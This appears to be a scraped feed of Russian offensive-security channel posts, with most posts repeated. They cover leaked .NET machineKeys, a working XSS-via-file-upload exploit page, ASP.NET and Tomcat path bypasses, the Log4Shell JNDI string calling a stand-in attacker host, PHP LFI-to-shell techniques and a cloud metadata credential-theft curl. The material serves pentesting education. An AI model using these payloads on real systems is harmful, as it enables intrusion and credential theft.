Один из известных способ эксплуатации десериализации в .NET - это модификация значения параметра ViewState.
Как известно, для его модификации в большинстве случаев необходим machineKey, который, в свою очередь, состоит из параметров validationKey и decryptionKey, которые в большинстве случаев генерируются автоматически под каждый проект и хранятся в файле Web.config.
Иногда удается получить эти ключи через уязвимости разных типов на целевом ресурсе, но бывает, что разработчики переиспользуют чужие ключи или "предусмотрительно" делятся своими на Github. Для проверки на предмет использования слабых ключей существует проект Blacklist3r, в рамках которого была собрана из ~2 тысяч ключевых пар с различных сетевых ресурсов (MSDN, StackOverflow, etc.).
Недавно я собрал аналогичную базу ключей с проектов на Github, причем оказалось, что ключи уникальные и отсутствуют в базе Blacklist3r. Pull request с обновлением в проект Blacklist3r уже отправлен.
База ключей с информацией о репозиториях, откуда они были получены.
Как известно, для его модификации в большинстве случаев необходим machineKey, который, в свою очередь, состоит из параметров validationKey и decryptionKey, которые в большинстве случаев генерируются автоматически под каждый проект и хранятся в файле Web.config.
Иногда удается получить эти ключи через уязвимости разных типов на целевом ресурсе, но бывает, что разработчики переиспользуют чужие ключи или "предусмотрительно" делятся своими на Github. Для проверки на предмет использования слабых ключей существует проект Blacklist3r, в рамках которого была собрана из ~2 тысяч ключевых пар с различных сетевых ресурсов (MSDN, StackOverflow, etc.).
Недавно я собрал аналогичную базу ключей с проектов на Github, причем оказалось, что ключи уникальные и отсутствуют в базе Blacklist3r. Pull request с обновлением в проект Blacklist3r уже отправлен.
База ключей с информацией о репозиториях, откуда они были получены.
Когда нужно фаззить веб-приложения не только кавычками, на помощь приходят мутирующие фаззеры. На вход они получают пользовательские данные, а на выходе измененные, заведомо некорректные. Это позволяет найти различного рода уязвимости и проверить веб-приложение и используемые там библиотеки на различные исключительные ситуации.
Первый и самый известный, Radamsa
Radamsa производит манипуляции с входными данными множеством разных неожиданных способов, включая чрезмерное повторение, инвертирование разрядов, вставку управляющих символов и т. д. Причем он годится для фаззинга как отдельных строк, так и заголовков, HTTP-запросов.
Второй, это jdam
Создан он для мутации именно json строк, когда нужно сохранить структуру, чтобы пройти валидацию данных. Помимо мутаций данных (по большей части позаимствованных у radamsa) он подмешивает различную полезную нагрузку именно для поиска веб-уязвимостей - вставляет лексемы NoSQL, нагрузку для шаблонизаторов, различные функции и операторы.
Первый и самый известный, Radamsa
Radamsa производит манипуляции с входными данными множеством разных неожиданных способов, включая чрезмерное повторение, инвертирование разрядов, вставку управляющих символов и т. д. Причем он годится для фаззинга как отдельных строк, так и заголовков, HTTP-запросов.
Второй, это jdam
Создан он для мутации именно json строк, когда нужно сохранить структуру, чтобы пройти валидацию данных. Помимо мутаций данных (по большей части позаимствованных у radamsa) он подмешивает различную полезную нагрузку именно для поиска веб-уязвимостей - вставляет лексемы NoSQL, нагрузку для шаблонизаторов, различные функции и операторы.
И так, еще один интересный кейс.
Представьте себе... Reflected XSS via File Upload.
На первый взгляд, кажется простой задачей. Но оказывается, что подсунуть пользователю отправку произвольного файла из браузера без действий пользователя не так уж просто.
Вспомним, нам нужно заставить пользователя открыть страницу, после из JS создать на странице форму с уже подставленным файлом, и после перенаправить его на уязвимую страницу вместе с загруженными данными. В этом случае нам ни как не помогут ни XMLHttpRequest, ни fetch, о которых вы сначала могли подумать.
В чем ключевая проблема? До недавнего времени вообще не было возможным подставить в поле input произвольный объект файла из кода JS.
Для содержания файлов объект input имеет поле input.files, которое представляет собой объект FileList. И до какого-то времени мы не могли его изменять (он считался immutable) и создавать кастомные FileList объекты, кроме возможности изменять его через объекты полученные из события DataTransferEvent (Т.е. когда юзер сам перетаскивал файлы на экран). Но в 17 году ребята обнаружили возможность вызывать конструктор объекта DataTransfer , который порождает изменяемый объект FileList, который мы можем наполнить своими произвольными файлами из кода JS!!!
Пример эксплоита для такой уязвимости:
Надеюсь пригодится! Мне пригодилось;)
Представьте себе... Reflected XSS via File Upload.
На первый взгляд, кажется простой задачей. Но оказывается, что подсунуть пользователю отправку произвольного файла из браузера без действий пользователя не так уж просто.
Вспомним, нам нужно заставить пользователя открыть страницу, после из JS создать на странице форму с уже подставленным файлом, и после перенаправить его на уязвимую страницу вместе с загруженными данными. В этом случае нам ни как не помогут ни XMLHttpRequest, ни fetch, о которых вы сначала могли подумать.
В чем ключевая проблема? До недавнего времени вообще не было возможным подставить в поле input произвольный объект файла из кода JS.
Для содержания файлов объект input имеет поле input.files, которое представляет собой объект FileList. И до какого-то времени мы не могли его изменять (он считался immutable) и создавать кастомные FileList объекты, кроме возможности изменять его через объекты полученные из события DataTransferEvent (Т.е. когда юзер сам перетаскивал файлы на экран). Но в 17 году ребята обнаружили возможность вызывать конструктор объекта DataTransfer , который порождает изменяемый объект FileList, который мы можем наполнить своими произвольными файлами из кода JS!!!
Пример эксплоита для такой уязвимости:
<!DOCTYPE html>
<html>
<body>
<form id="" action="https://example.com/convert-file" method="POST" enctype="multipart/form-data">
<input id="file" type="file" name="file"/>
"/>
</form>
<script>
class _DataTransfer {
constructor() {
return new ClipboardEvent("").clipboardData || new DataTransfer();}
}
const input = document.querySelector('input');
const file = new File(['<img onerror="alert(\'Domain: \'+document.domain+\'" src="x" />'],"name.html",{type:"text/html"})
const dt = new _DataTransfer();
dt.items.add(file)
input.files = dt.files;
document.forms[0].submit();
</script>
</body>
</html>
Надеюсь пригодится! Мне пригодилось;)
Bitnami - это библиотека популярных серверных приложений и сред разработки, которая используется для быстрого развертывания готовой среды. Часто можно увидеть, как разработчики ставят docker именно из этой библиотеки.
Если у вас где-то в docker-compose используется bitnami/laravel:latest, по умолчанию APP_KEY в нем будет браться из образа докера, который несмотря на то, что часто меняется с каждой версией контейнера - все еще предсказуем. Ведь достаточно собрать из образов ключи за последние N времени и попробовать раскодировать cookie с помощью ключа.
Помимо прочего, переменные окружения передаются на PHP, поэтому наличие функции phpinfo ведет к раскрытию информации ключей AWS, данных к СУБД, почты и конечно же к APP_KEY.
Если у вас где-то в docker-compose используется bitnami/laravel:latest, по умолчанию APP_KEY в нем будет браться из образа докера, который несмотря на то, что часто меняется с каждой версией контейнера - все еще предсказуем. Ведь достаточно собрать из образов ключи за последние N времени и попробовать раскодировать cookie с помощью ключа.
Помимо прочего, переменные окружения передаются на PHP, поэтому наличие функции phpinfo ведет к раскрытию информации ключей AWS, данных к СУБД, почты и конечно же к APP_KEY.
🔥1
Оффенсивы приходят, разламывают и пишут об этом посты. Дефенсивы бегают в огне, придумывают фиксы и ничего, обычно, не рассказывают, так как держат в уме “ну вот сделаем хорошо, тогда и расскажем!”
И не рассказывают, потому что некоторые уязвимости практически невозможно исправить, и об одной из них мы сегодня поговорим, самой понятной - о взломе аккаунта.
Веб был не для дефенсивов с самого его начала и все жутко, жутко плохо в самой его сущности. Самую базовую операцию - аутентификацию пользователя, мы не умеем делать даже в 2021 году для массового сервиса. Предоставляемые механизмы уязвимы, сломаны, не имеют универсальности и в целом мы живем в полной заднице.
Придумали пароли, которые оказались неуникальны, пользователям сложно следовать парольной политике, а еще, блин, этот credential stuffing. Да в конце концов, браузер, козлина, позволяет отправить одинаковый пароль разным Origin’ам, именно поэтому работает фишинг. Могли бы мы запретить на уровне браузера одинаковые пароли для разных origin? “Пользователи покинули интернет, ваш драный браузер и ваш гребенный сервис. Горите в аду!”
Ой-ой, стойте, давайте мы вам дадим парольный менеджер, вернитесь! Сгенерили за пользователей пароли, уникальные, на каждый сайт и стали за них их автоматически заполнять. Ну спасибо за дичайший костыль, я потерял свой телефон и мне прямо сейчас надо зайти в свой Инстаграмм на новом телефоне! К черту эти парольные менеджеры, дайте мне использовать пароли, которые я знаю и всегда зайду в свой аккаунт!
Так, откатываем все назад. Пусть будут какие есть пароли, давайте сделаем двухфакторку! И точно-точно убедимся, что на сайт заходит тот же человек, что и регистрировался. Вот, SMS код введи плиз после входа. ТАК У МЕНЯ СИМКА СДОХЛА ВОЙТИ НЕ МОГУ! Ладно, вот вам еще TOTP генераторы, на телефончике, в оффлайн получайте свои коды, они тоже работают!
Ну.. ниче так, живем, спасибо.
Бац, пользователь, звезда с галочкой во всех соц сетях, все равно взломан(-а). SMS небезопасны1!1! Да не, вход через TOTP был. Взлом аккаунта с двухфакторкой обычно прозаичнее - это такой же фишинг, просто с динамическим походом в оригинальный сервис (привет, evilginx2). Чертов фишинг!
Окей... блин, мы все еще не можем быть уверены, что к нам пришел тот же самый пользователь, что и регистрировался.
Собрались инженеры, да придумали fido2/WebAuthN. Будем, говорит, генерить уникальные секреты на машине пользователя per browser, которые будут подписывать запрос per origin (фишинг пруф!!!), а браузеру давать доступ на эту операцию только после проверки биометрии на уровне ОС (палец приложит, лицо отсканит). И придумаем, чтобы внешние девайсы можно было тоже юзать, дабы можно было заходить на других устройствах.
Ниче так, вроде работает, гуглы пишут радостный отчет, что за год у них ни одного корпа под такой защитой - пароль + u2f - не взломали.
Потом приходят малварщики... И просто тырят сессионную куку, на самом auth / account / login защищенном поддомене. Да и юзают ее, заходя из своего браузера, и пошел ты нафиг, u2f.
Дефенсивы говорят “нууу троян - это все, game over!”. Сидят в барах, соглашаются, и тут кто-то говорит. Слушайте, ну вот есть же клиентские сертификаты в браузерах, работают уже лет 15! А чего, давайте заюзаем? И не будем использовать ключи на файловой системе, чтобы троян не стырил, потребуем у всех yubikeys!
Почесали репу, решили поэкспериментировать. Ну правда работает, вот юбик, воткнут по Type C / USB, вот браузеры - берут серт и ходят. Выткнул юбик - не работает. Юбик своровать можно, но надо знать еще код на анлок. В юбике и уязвимостей то толком не было. Кажется, нашли фикс для account takeover!?!??
А тут оказывается, что ни один браузер не умеет в “разлогин” сертификата. Хочешь использовать другой - перезапусти браузер с 500 вкладками. И все, нет другого способа! Прямо Basic Auth, придумали как логинить юзера, а как разлогинить - чет нет. Ммм, что же делать, что же делать...
Рассказывать и делиться больше, даже если что-то еще сделано неидеально. Всех с пятницей!
И не рассказывают, потому что некоторые уязвимости практически невозможно исправить, и об одной из них мы сегодня поговорим, самой понятной - о взломе аккаунта.
Веб был не для дефенсивов с самого его начала и все жутко, жутко плохо в самой его сущности. Самую базовую операцию - аутентификацию пользователя, мы не умеем делать даже в 2021 году для массового сервиса. Предоставляемые механизмы уязвимы, сломаны, не имеют универсальности и в целом мы живем в полной заднице.
Придумали пароли, которые оказались неуникальны, пользователям сложно следовать парольной политике, а еще, блин, этот credential stuffing. Да в конце концов, браузер, козлина, позволяет отправить одинаковый пароль разным Origin’ам, именно поэтому работает фишинг. Могли бы мы запретить на уровне браузера одинаковые пароли для разных origin? “Пользователи покинули интернет, ваш драный браузер и ваш гребенный сервис. Горите в аду!”
Ой-ой, стойте, давайте мы вам дадим парольный менеджер, вернитесь! Сгенерили за пользователей пароли, уникальные, на каждый сайт и стали за них их автоматически заполнять. Ну спасибо за дичайший костыль, я потерял свой телефон и мне прямо сейчас надо зайти в свой Инстаграмм на новом телефоне! К черту эти парольные менеджеры, дайте мне использовать пароли, которые я знаю и всегда зайду в свой аккаунт!
Так, откатываем все назад. Пусть будут какие есть пароли, давайте сделаем двухфакторку! И точно-точно убедимся, что на сайт заходит тот же человек, что и регистрировался. Вот, SMS код введи плиз после входа. ТАК У МЕНЯ СИМКА СДОХЛА ВОЙТИ НЕ МОГУ! Ладно, вот вам еще TOTP генераторы, на телефончике, в оффлайн получайте свои коды, они тоже работают!
Ну.. ниче так, живем, спасибо.
Бац, пользователь, звезда с галочкой во всех соц сетях, все равно взломан(-а). SMS небезопасны1!1! Да не, вход через TOTP был. Взлом аккаунта с двухфакторкой обычно прозаичнее - это такой же фишинг, просто с динамическим походом в оригинальный сервис (привет, evilginx2). Чертов фишинг!
Окей... блин, мы все еще не можем быть уверены, что к нам пришел тот же самый пользователь, что и регистрировался.
Собрались инженеры, да придумали fido2/WebAuthN. Будем, говорит, генерить уникальные секреты на машине пользователя per browser, которые будут подписывать запрос per origin (фишинг пруф!!!), а браузеру давать доступ на эту операцию только после проверки биометрии на уровне ОС (палец приложит, лицо отсканит). И придумаем, чтобы внешние девайсы можно было тоже юзать, дабы можно было заходить на других устройствах.
Ниче так, вроде работает, гуглы пишут радостный отчет, что за год у них ни одного корпа под такой защитой - пароль + u2f - не взломали.
Потом приходят малварщики... И просто тырят сессионную куку, на самом auth / account / login защищенном поддомене. Да и юзают ее, заходя из своего браузера, и пошел ты нафиг, u2f.
Дефенсивы говорят “нууу троян - это все, game over!”. Сидят в барах, соглашаются, и тут кто-то говорит. Слушайте, ну вот есть же клиентские сертификаты в браузерах, работают уже лет 15! А чего, давайте заюзаем? И не будем использовать ключи на файловой системе, чтобы троян не стырил, потребуем у всех yubikeys!
Почесали репу, решили поэкспериментировать. Ну правда работает, вот юбик, воткнут по Type C / USB, вот браузеры - берут серт и ходят. Выткнул юбик - не работает. Юбик своровать можно, но надо знать еще код на анлок. В юбике и уязвимостей то толком не было. Кажется, нашли фикс для account takeover!?!??
А тут оказывается, что ни один браузер не умеет в “разлогин” сертификата. Хочешь использовать другой - перезапусти браузер с 500 вкладками. И все, нет другого способа! Прямо Basic Auth, придумали как логинить юзера, а как разлогинить - чет нет. Ммм, что же делать, что же делать...
Рассказывать и делиться больше, даже если что-то еще сделано неидеально. Всех с пятницей!
🔥2
Вчера в официальном репозитории PHP на Github появилось два бэкдора, позволяющие выполнять произвольный код.
Что произошло - неясно. Однако разработчики сообщают о возможной компрометации git.php.net.
Дело точно не во взломанных аккунтах разработчиков. А user-agent “zerodium” и “sold to zerodium, mid 2017”, кагбе, намекает
Что произошло - неясно. Однако разработчики сообщают о возможной компрометации git.php.net.
Дело точно не во взломанных аккунтах разработчиков. А user-agent “zerodium” и “sold to zerodium, mid 2017”, кагбе, намекает
Я вопреки обществу был противником сокрытия информации. Зачем скрывать почту или номер телефона, если это штуки, которые специально созданы для того, чтобы их шарить и это не может быть секретом? А сейчас осознаю, что было бы неплохо иметь обфусцированный номер телефона, который можно было бы убить как, например, алиасы на почте (виртуальные номера не в счет).
Там где тобой заинтересованы - практически нет препятствий для атаки.
А пароли вообще должны умереть. Sergey Belove опубликовал размышление о том, что если пароли умрут, это всё равно не спасёт от угона аккаунта, а второй фактор - не панацея.
Возьмем, например, Binance. Это крупнейшая криптобиржа, операции надо подтверждать через код с почты и через двухфакторку. А вот эту самую двухфакторку обходят (даже есть специализированные сервисы, которые за процент снимают бабло). Я относился к этому скептически, пока у друга так не вывели деньги (обошли Google Authenticator).
Там где тобой заинтересованы - практически нет препятствий для атаки.
А пароли вообще должны умереть. Sergey Belove опубликовал размышление о том, что если пароли умрут, это всё равно не спасёт от угона аккаунта, а второй фактор - не панацея.
Возьмем, например, Binance. Это крупнейшая криптобиржа, операции надо подтверждать через код с почты и через двухфакторку. А вот эту самую двухфакторку обходят (даже есть специализированные сервисы, которые за процент снимают бабло). Я относился к этому скептически, пока у друга так не вывели деньги (обошли Google Authenticator).
Нет, сам Binance взламывать не надо. Для торгов там не нужен пароль, достаточно API Key, который не привилегирован на вывод средств.
Нужно просто собрать пароли, сделав сервис по аналитике, торговле, форум по интересам или заработку. На примере выше - информационный ресурс по алгоритмической торговли на binance. Фреймворк по-умолчанию хранит все пароли в хэшах, но администратору достаточно немного изменить код.
Пароли и так уже бич 21 века, люди слишком ленивые, чтобы использовать их разные.
Разные ресурсы - разные пароли. Двухфакторка может не спасти. С пятницей!
Нужно просто собрать пароли, сделав сервис по аналитике, торговле, форум по интересам или заработку. На примере выше - информационный ресурс по алгоритмической торговли на binance. Фреймворк по-умолчанию хранит все пароли в хэшах, но администратору достаточно немного изменить код.
Пароли и так уже бич 21 века, люди слишком ленивые, чтобы использовать их разные.
Разные ресурсы - разные пароли. Двухфакторка может не спасти. С пятницей!
В
Например,
При использовании Control.ResolveUrl метода, это значение может выводится без корректного энкодинга символов, что может давать нам XSS-ку:
+
->
Более подробно об этой особенности и эксплуатации можно почитать ТУТ
Кроме того, эту фичу можно использовать для обхода ограничений на реверс прокси к админке приложения бэкэнда (всё что начинается с “/admin”), например:
Работает в
ASP.NET
есть удобная олдскульная фича - cookieless session. Она осталась ещё с тех времён, когда куки поддерживались не всеми браузерами и сессию приходилось передавать внутри URL. Например,
https://www.example.com/(S(lit3py55t21z5v55vlm25s55))/default.aspx
При использовании Control.ResolveUrl метода, это значение может выводится без корректного энкодинга символов, что может давать нам XSS-ку:
<script src="<%= ResolveUrl("~/Script.js") %>"></script>
+
https://example.com/(A(%22onerror=%22alert`1`%22))/default.aspx
->
<script src="/(A("onerror="alert`1"))/Script.js"></script>
Более подробно об этой особенности и эксплуатации можно почитать ТУТ
Кроме того, эту фичу можно использовать для обхода ограничений на реверс прокси к админке приложения бэкэнда (всё что начинается с “/admin”), например:
https://victim.com/admin
- 403https://victim.com/(A(ABCD))/admin
- 200Работает в
.NET 2.0-4.8
. В .NET Core
всех версий и в .NET5
это не поддерживается.🔥1
Параметры можно передавать не только в виде привычного Query, типа:
Есть такая штука, называется Path-Style Parameter Expansion (или Matrix в Spring).
Выглядит это подобным образом:
Главное отличие, что Path Parameters можно передавать к конкретному пути, в то время как query применяется к запросу в целом:
Так вот, в Tomcat/Jetty знак
Таким образом, обращение на условный
P.S. Я всегда думал, что ; для Java, это что-то вроде нульбайта, который обрезает строку (в weblogic, кстати, обрезается вся строка). Но GreenDog (можно познакомиться с ним у МимоКрокодила) мне рассказал, откуда корни растут.
P.P.S. Еще по теме, Orange Tsai с примерами на BlackHat (с 40й страницы)
site/path?param=123¶m2=456
Есть такая штука, называется Path-Style Parameter Expansion (или Matrix в Spring).
Выглядит это подобным образом:
site/path;param=123;param2=456
Главное отличие, что Path Parameters можно передавать к конкретному пути, в то время как query применяется к запросу в целом:
site/user;id=123/send;message=456/?page=789
Так вот, в Tomcat/Jetty знак
;
укажет, что дальше идут эти параметры до следующего символа /
. А если впереди стоит nginx/apache, то символ для него ничего не значит, это будет просто частью имени директории.Таким образом, обращение на условный
/doc/..;abc=def/manager
приведет к тому, что Tomcat обратится к /doc/../manager
, то есть выйдет из текущего сервлета и обратится к manager (админка tomcat).P.S. Я всегда думал, что ; для Java, это что-то вроде нульбайта, который обрезает строку (в weblogic, кстати, обрезается вся строка). Но GreenDog (можно познакомиться с ним у МимоКрокодила) мне рассказал, откуда корни растут.
P.P.S. Еще по теме, Orange Tsai с примерами на BlackHat (с 40й страницы)
🔥1
Задача: быстро отсканировать с помощью nmap большую подсеть.
Из-за количества хостов сканирование будет длиться сутки, неделю или больше, а с данными хочется работать в ближайшее время.
Одно из решений - это использовать многоходовочку, поделить сканирование на несколько шагов и быстро получить данные самых популярных портов, пока редкие порты сканируются.
Играемся с таймаутом RTT, таймаутом хостов (tarpit еще никто не отменял), количеством попыток на ответ и другие настройки.
Но если нам нужно увеличить точность, то запускаем с
Кстати, nmap умеет импортировать данные предыдущего сканирования и работать уже с ним, например,
запустит сканирование взяв в качестве целей для сканирования хосты из файла scan.xml, которые находились в статусе up в тот момент.
Важно, что если у хоста не будет открытых портов из топа, то он не попадет в выдачу первого шага, и втором и третьем шаге его попросту не будет.
Ставим как исходящий порт - 53 (DNS), чтобы обмануть некоторые наркоманские настройки фаерволов, получаем подобный скрипт.
Во время сканирования забираем полученные XML файлы, загружаем в нужный нам софт.
В других случаях используем Masscan и RustScan.
Из-за количества хостов сканирование будет длиться сутки, неделю или больше, а с данными хочется работать в ближайшее время.
Одно из решений - это использовать многоходовочку, поделить сканирование на несколько шагов и быстро получить данные самых популярных портов, пока редкие порты сканируются.
Играемся с таймаутом RTT, таймаутом хостов (tarpit еще никто не отменял), количеством попыток на ответ и другие настройки.
Но если нам нужно увеличить точность, то запускаем с
-Pn
, если скорость, то без него. Кстати, nmap умеет импортировать данные предыдущего сканирования и работать уже с ним, например,
nmap --script-args newtargets,state=up,iX=scan.xml
запустит сканирование взяв в качестве целей для сканирования хосты из файла scan.xml, которые находились в статусе up в тот момент.
Важно, что если у хоста не будет открытых портов из топа, то он не попадет в выдачу первого шага, и втором и третьем шаге его попросту не будет.
Ставим как исходящий порт - 53 (DNS), чтобы обмануть некоторые наркоманские настройки фаерволов, получаем подобный скрипт.
Во время сканирования забираем полученные XML файлы, загружаем в нужный нам софт.
В других случаях используем Masscan и RustScan.
У половины интернета нашли выполнение произвольного кода через Log4j.
Выглядит это так:
1) Посылаем специально сформированный запрос вида ${jndi:ldap://attacker.host/blabla} в любое место, которое потенциально может залогироваться.
2) JNDI (Java Naming and Directory Interface) в свою очередь обрабатывает шаблон, запрашивает данные через LDAP у attacker.host
3) В ответе отдается JAVA класс, который и позволяет выполнить произвольный код.
Гроб. Гроб. Кладбище.
Временный фикс:
Вот примеры того, что уязвимо (От Cloudflare и Apple до серверов майнкрафта).
Выглядит это так:
1) Посылаем специально сформированный запрос вида ${jndi:ldap://attacker.host/blabla} в любое место, которое потенциально может залогироваться.
2) JNDI (Java Naming and Directory Interface) в свою очередь обрабатывает шаблон, запрашивает данные через LDAP у attacker.host
3) В ответе отдается JAVA класс, который и позволяет выполнить произвольный код.
Гроб. Гроб. Кладбище.
Временный фикс:
JAVA_OPTS="-Dlog4j.formatMsgNoLookups=true”
Вот примеры того, что уязвимо (От Cloudflare и Apple до серверов майнкрафта).
🔥1
Рождество - время подарков и подведения итогов. Сегодня я решил сделать всем подарок - подвести итоги последних 15 лет проведения LFI в самом рождественском языке программирования - PHP.
Рассмотрим достаточно популярную (когда-то) ситуацию когда у нас есть LFI но нет возможности загрузить файл на сервер. Вот какие есть варианты получить шелл:
logs / sessions / etc
Первое что можно попробовать подгрузить - файлы логов, сессий, файловые дескрипторы или переменные окружение из procfs и т д. Идея простая и в то же время бесполезная - мы каким то либо образом влияем на подгружаемый файл (например передаём пейлоад в User-Agent и пытаемся подгрузить его из access.log) и подгружаем его через LFI. Бесполезной эта идея является потому что последние лет 10 у процесса PHP отобрали права на чтение логов и procfs, а сессии выключены, хранятся в БД (спасибо, микросервисная архитектура) или на них нет возможности повилять
phpinfo()
Ещё один старый способ, первые упоминания которого датируются 2010/2011 годом. Здесь суть заключается в том что при директиве
https://insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf
PHP_SESSION_UPLOAD_PROGRESS
В 2018 году один внимательный 🍊 увидел в документации PHP директиву
https://blog.orange.tw/2018/10/hitcon-ctf-2018-one-line-php-challenge.html
tempfile bruteforce / php crash
Предыдущий метод хорош, но может случиться так что директива
https://hackmd.io/@ZzDmROodQUynQsF9je3Q5Q/Hk-2nUb3Q?type=view
Рассмотрим достаточно популярную (когда-то) ситуацию когда у нас есть LFI но нет возможности загрузить файл на сервер. Вот какие есть варианты получить шелл:
logs / sessions / etc
Первое что можно попробовать подгрузить - файлы логов, сессий, файловые дескрипторы или переменные окружение из procfs и т д. Идея простая и в то же время бесполезная - мы каким то либо образом влияем на подгружаемый файл (например передаём пейлоад в User-Agent и пытаемся подгрузить его из access.log) и подгружаем его через LFI. Бесполезной эта идея является потому что последние лет 10 у процесса PHP отобрали права на чтение логов и procfs, а сессии выключены, хранятся в БД (спасибо, микросервисная архитектура) или на них нет возможности повилять
phpinfo()
Ещё один старый способ, первые упоминания которого датируются 2010/2011 годом. Здесь суть заключается в том что при директиве
file_uploads = on
(которая имеет это значение по умолчанию) PHP будет вычитывать файлы из тела запроса и временно хранить их в директории указанной в директиве upload_tmp_dir
. Звучит как отличное решение проблемы если бы не пара нюансов: временные файлы имеют рандомное имя и удаляются сразу же после завершения работы скрипта. В данном случае на помощь может прийти вывод phpinfo();
, если он есть где либо на сервере. Он решит первую проблему - отправив файл на этот скрипт мы сможем увидеть имя временного файла. Вторая проблема решается благодаря директиве output_buffering
которая по умолчанию имеет значение 4096
. Это значит что при превышении размера тела ответа процесс PHP будет отдавать его по серверу чанками. Теперь нам нужно только сделать так чтобы тело ответа было больше размера одного чанка, чтобы имя файла было не в последнем чанке. Далее, надеемся что сервер умеет работать с chunked ответами, вычитываем чанки до имени файла и держим коннект открытым, пока подгружаем полученное имя файла и радуемся шеллу.https://insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf
PHP_SESSION_UPLOAD_PROGRESS
В 2018 году один внимательный 🍊 увидел в документации PHP директиву
session.upload_progress.enabled
которая включена по умолчанию и позволяет сохранять в файле сессии прогресс загрузки файла. Более того, эта директива сама создаст файл сессии даже если не было явного вызова session_start()
и положит в него прогресс загрузки файла по ключу который указывается через cookie параметра PHP_SESSION_UPLOAD_PROGRESS
. Таким образом, мы можем сами создать сессию и положить в неё свой ключ (который вместе с правильным использованием фильтров может стать для нас золотым ключиком). Но возникает очередная проблема - сессия будет очищена как только загрузка файла будет завершена. Здесь очевидно два решения - рейсить загрузку файла и его подключение или же подержать загрузку файла подольше.https://blog.orange.tw/2018/10/hitcon-ctf-2018-one-line-php-challenge.html
tempfile bruteforce / php crash
Предыдущий метод хорош, но может случиться так что директива
session.upload_progress.enabled
выключена. В таком случае очень полезно вспомнить какой на дворе год и воспользоваться всеми благами широких каналов и быстрого сетевого стека. При возможности задержать исполнение скрипта на достаточное время (например наличие SSRF или чтения файла, что в целом в PHP почти одно и то же) мы можем попытаться набрутить имя временного файла. Удивительно, но такой подход пару раз лично у меня срабатывал и успешная эксплуатация занимала порядка пары часов. Если же мы не хотим сильно нагружать сервер, то можно поискать в багтрекере парочку сегфолтов для необходимой версии PHP. Очевидно, при падении PHP не будет удалять временный файл, тем самым сильно облегчая нам последующий брутфорс.https://hackmd.io/@ZzDmROodQUynQsF9je3Q5Q/Hk-2nUb3Q?type=view
🔥8
compress
В случае если у нас выключена директива
https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer
nginx buffer file
В современном мире сложно представить что PHP работает не в качестве FastCGI бэкенда для nginx. Удивительно, но благодаря этому есть способ успешно провести атаку даже если в PHP сильно огорожен отбиранием прав или другими жестокими методами. И всё это возможно благодаря буферам nginx. Если на каком либо этапе проксирования запрос или ответ не влезают в буфер в памяти, то они будут записаны на диск. Но и тут не обошлось без проблем - сразу после создания файла и перед тем как туда что либо записать, nginx удаляет файл, а дальше продолжает работать с файловым дескриптором. Кажется, что мы могли бы попробовать подключить файловый дескриптор через procfs, но и тут очередная проблема - перед подключением файла PHP делает на него lstat чтобы разрезолвить возможные символьные ссылки, и если файл не существует (как в нашем случае) то чуда не произойдёт. К счастью, и тут есть свой обход - из-за возможных проведение корректного lstat требует рекурсивного подхода, а стало быть и должно быть ограничение на глубину рекурсии. Таким образом, если вложенность ссылок будет достаточно высокой, то PHP не сможет понять что файл удалён и успешно его подключит
https://tttang.com/archive/1384/
В случае если у нас выключена директива
file_uploads
можно воспользоваться очередным трюком - некоторые врапперы в PHP тоже любят создавать временные файлы. Например, если приложение вызывает file_get_contents
с нашими аргументами, то можно чтение compress.zlib://https://hostname/
создаст такой же произвольный файл как и в случае с аплоадом. А дальше уже пользуемся предыдущим способом для его подключения https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer
nginx buffer file
В современном мире сложно представить что PHP работает не в качестве FastCGI бэкенда для nginx. Удивительно, но благодаря этому есть способ успешно провести атаку даже если в PHP сильно огорожен отбиранием прав или другими жестокими методами. И всё это возможно благодаря буферам nginx. Если на каком либо этапе проксирования запрос или ответ не влезают в буфер в памяти, то они будут записаны на диск. Но и тут не обошлось без проблем - сразу после создания файла и перед тем как туда что либо записать, nginx удаляет файл, а дальше продолжает работать с файловым дескриптором. Кажется, что мы могли бы попробовать подключить файловый дескриптор через procfs, но и тут очередная проблема - перед подключением файла PHP делает на него lstat чтобы разрезолвить возможные символьные ссылки, и если файл не существует (как в нашем случае) то чуда не произойдёт. К счастью, и тут есть свой обход - из-за возможных проведение корректного lstat требует рекурсивного подхода, а стало быть и должно быть ограничение на глубину рекурсии. Таким образом, если вложенность ссылок будет достаточно высокой, то PHP не сможет понять что файл удалён и успешно его подключит
https://tttang.com/archive/1384/
Tttang
hxp CTF 2021 - A New Novel LFI - 跳跳糖
跳跳糖 - 安全与分享社区
🔥11
Так как Яндекс.Облако решает одну из таких задач, как импортозамещение, многие инструменты от AWS подойдут для использования в этом продукте, так как у них присутствуют одинаковые вызовы API.
Облака это не обычные виртуалки, но не все этого понимают. В AWS есть такая херь, под названием IAM (AWS Identity and Access Management), она создана для контроля доступа к сервисам Амазона. IAM позволяет не раздавать привилегии налево и направо, а запросить доступ на время. Самое смешное, что подобная технология, которая создана для защиты, чаще всего неправильно настроена и позволяет любому, кто находится на сервере запросить подобный доступ. Делается это как с помощью SSRF атак, так и после компрометации одной из машин.
Например, ручка, которая позволяет получить токен доступа для CLI API:
Точно такой же запрос можно выполнить в Яндекс Облаке, если неправильно настроена роль. Когда создаешь виртуальную машину в ней нет сервис аккаунта. Но вот если решишь его привязать, то тебе предложат создать сразу с ролью editor. Это «примитивная» роль с правами создавать/обновлять/удалять виртуалки. Если в ответе будет что-то такое:
То скорее всего это шанс на победу. А ручка
Вернет информацию о пользователе облака, чей токен нам сейчас показали. Смотрим на логин, открытый ключ и другие настройки.
И сейчас легким движением руки мы захватим все образы на примере Яндекс Облака. Следите за пальцами.
Облака это не обычные виртуалки, но не все этого понимают. В AWS есть такая херь, под названием IAM (AWS Identity and Access Management), она создана для контроля доступа к сервисам Амазона. IAM позволяет не раздавать привилегии налево и направо, а запросить доступ на время. Самое смешное, что подобная технология, которая создана для защиты, чаще всего неправильно настроена и позволяет любому, кто находится на сервере запросить подобный доступ. Делается это как с помощью SSRF атак, так и после компрометации одной из машин.
Например, ручка, которая позволяет получить токен доступа для CLI API:
curl https://169.254.169.254/latest/meta-data/iam/security-credentials/default
Точно такой же запрос можно выполнить в Яндекс Облаке, если неправильно настроена роль. Когда создаешь виртуальную машину в ней нет сервис аккаунта. Но вот если решишь его привязать, то тебе предложат создать сразу с ролью editor. Это «примитивная» роль с правами создавать/обновлять/удалять виртуалки. Если в ответе будет что-то такое:
